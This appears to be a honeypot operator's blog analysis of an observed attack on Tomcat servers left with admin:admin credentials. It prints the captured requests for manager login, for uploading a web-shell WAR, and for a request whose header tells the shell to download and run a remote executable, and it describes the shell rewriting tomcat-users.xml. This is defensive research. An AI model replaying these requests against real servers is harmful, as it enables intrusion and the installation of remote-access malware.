Weak Passwords with Tomcat Installations
We noticed strange HTTP scans in the Amun Honeypot vulnerabilities.log file recently. We run Amun with Webserver emulation in order to catch certain attacks. What we found here are scans for Tomcat installations with a weak password.
The request for Tomcat installations looks like this:
GET /manager/html HTTP/1.1
Referer: http://xxx.xxx.241.29:80/manager/html
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)
Host: xxx.xxx.xxx.29:80
Connection: Close
Cache-Control: no-cache
Authorization: Basic YWRtaW46YWRtaW4=
The scans look for the manager application of Tomcat with the credentials set to admin:admin. Although Amun is not emulating this application, we could trigger the attack by just replying with 200 OK (standard HTTP). So, the next step in the attack we monitored is a POST request to the upload directory:
POST /manager/html/upload HTTP/1.0
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=---------------------------072709230333828
Content-Length: 2495
Host: xxx.xxx.241.29
Accept: text/html, */*
Accept-Language: zh-cn
Referer: http://xxx.xxx.241.29:8080/manager/html
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Authorization: Basic YWRtaW46YWRtaW4=
-----------------------------072709230333828
Content-Disposition: form-data; name="deployWar"; filename="C:\\WINDOWS\\system32\\mui\\fexcep\\killfexcepshell.war"
Content-Type: application/x-zip-compressed
PK\x03\x04\x14\x00\x08\x00\x08\x003\x8cq:\x00
[...]
As we can see the attacker tries to upload a file named killfexcepshell.war to our honeypot. Amun does not recognize the attack, but it stores the hexdumps of unknown attack attempts to disk. We were therefore able to reconstruct the zip file from the hexdump. It extracts to the following files (directories):
WEB-INF
ok.jsp
META-INF
index.jsp
Unfortunately no further requests hit our honeypot, so we do not know what would have happened next. Googling for the filename however, revealed a blog entry, that is not reachable anymore. Google Cache is your friend, though.
According to their investigation after uploading the zip file, the attacker initiates a GET request to the following URL:
GET /killfexcepshell/index.jsp HTTP/1.1
Referer: http://x.x.x.x:8080/killfexcepshell/index.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; IE 7)
Host: x.x.x.x:8080
Connection: Close
Cache-Control: no-cache
Cache-Vip-Url:http://www.<hidden>.cn/tomcat.exe
The interesting part is the Cache-Vip-Url pointing to some executable file on a chinese webserver. So what does the index.jsp do. It rewrites the tomcat-users.xml file read the following:
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="tomcat"/>
<role rolename="role1" />
<role rolename="manager"/>
<role rolename="admin"/>
<user username="admin" password="<hidden>" roles="admin,manager"/>
</tomcat-users>
The other operation the index.jsp performs is to look for the above mentioned Cache-Vip-Url HTTP header field and tries to download and execute the file. In case the compromised system is not Windows, the script aborts. Unfortunately we do not have a working URL to download the binary and check what it does. According to the above mentioned blog entry, the malware is called PcClient, some kind of remote administration tool.
The ok.jsp file is just used to display the results of running the index.jsp. The funny thing about the index.jsp is, that it contains a routine to generate a random password to be inserted into the tomcat-users.xml file. However, the randomly generated password is never used, it is just returned to the attacker, but the xml file has a hardcoded password.